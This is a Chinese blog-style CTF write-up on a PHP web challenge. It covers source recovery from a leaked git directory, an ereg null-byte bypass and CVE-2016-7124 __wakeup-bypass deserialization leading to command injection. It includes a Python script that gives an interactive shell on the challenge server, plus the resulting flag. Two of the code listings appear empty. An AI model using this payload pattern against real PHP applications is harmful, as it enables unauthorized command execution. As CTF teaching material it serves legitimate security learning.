前言
web题大致看了一下,都没啥思路。。。。。麻蛋签到题也不会,但是这道题我是有思路的,套路跟以前做过的ctf题目类似,算是中规中矩的题目了。
分析
题目内容:
云平台消息中心,泄漏了不该泄漏的消息。导致系统可以被入侵。
既然是信息泄露,首先想到的是源码泄露。试了一下,发现是git目录泄露,那么利用工具直接把git目录下载下来(工具网上有但我是自己写的,有时间写一篇博客记录下)。
然后恢复所有删除的文件即可,使用如下命令:1
git ls-files -d | xargs git checkout --
之后只用关注class.php,index2.php,waf.php
这三个文件即可。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34//file: class.php
error_reporting(0);
class Record{
public $file="Welcome";
public function __construct($file)
{
$this->file = $file;
}
public function __wakeup()
{
$this->file = 'wakeup.txt';
}
public function __destruct()
{
if ($this->file != 'wakeup.txt' && $this->file != 'sleep.txt' && $this->file != 'Welcome') {
system("php ./import/$this->file.php");
}else{
echo "<?php Something destroyed ?>";
}
}
}
$b =new Record('Welcome');
unset($b);
1 | //file: index2.php |
1 | //file: waf.php |
三个文件的逻辑很简单,其中index2.php中有主逻辑,下面一个个分析。
- waf.php
这个文件只有一个函数waf()
,这个函数对传入字符串进行黑名单排查。 - class.php
该文件中建立了一个Record
的类,该类有一个属性file,有__sleep()
,__wakeup
两个特殊的魔术方法定义,感觉这就是解题关键。 - index2.php
该文件有题目的主逻辑,只要突破对$ad
变量的重重阻碍,就可到达一个解序列化函数unserialize($secret)
,而这就是解题关键。
解决
通读三个文件,有两处调用了system函数,其中index2.php中在调用前会检查文件是否存在,只有Record
类的__destruct
函数中调用时并未做检查。这里如果控制file属性,就可以控制system函数的参数,从而造成命令注入。
这里需要解决三大问题:
- ereg和strpos函数矛盾
这里可以利用ereg函数的截断漏洞绕过,该函数会在ascii码为0的地方截断。 - secret中不能包含
./
这个不是问题,但是要注意,嘿嘿。 - 解序列化后如何进入system的条件语句块
这里要利用php的一个漏洞(CVE-2016-7124),php(PHP5< 5.6.25;PHP7< 7.0.10)在使用函数unserialize
时,若属性个数大于实际属性个数就不会调用类的__wakeup
函数。在这里就能控制file属性的值了。
于是为了更容易的执行命令,我用python写了如下的代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import requests
def work():
secret = 'O:6:"Record":3:{s:4:"file";s:%d:"%s";}'
ad = '1\x00--'
file ='Flag'
url = "http://47.104.99.231:20003/index2.php"
while(True):
cmd = raw_input('$ ')
if(cmd == 'quit'):
print 'over!!!'
break
cmd = 'Flag.php && ({}) && echo '.format(cmd)
s = secret%(len(cmd),cmd)
r = requests.get(url,params={'file':file,'ad':ad,'secret':s})
r.encoding = 'utf-8'
i = r.text.find('Flag is !')+9
j = r.text.rfind('Flag is !')-6
print r.text[i:j].encode('GB18030')
r.close()
work()
最后flag在Flag.php文件中:1
2
3
4
5
6
7
8
9
10
11
12
13
14$ ls import
Flag.php
Me.php
Record.php
$ cat import/Flag.php
<?php
error_reporting(0);
//$flag = "flag{g_i_i_t_is_unsafe_ahhhahahah}";
echo "Flag is !";
?>
$
总结
这道题考察了多处php的一些漏洞,但在ctf中属于常规题目,没有过多的脑洞还是挺适合我的,嘿嘿。。但我还是很菜,因为这道题做出来的人很多!!以后要继续向大佬学习。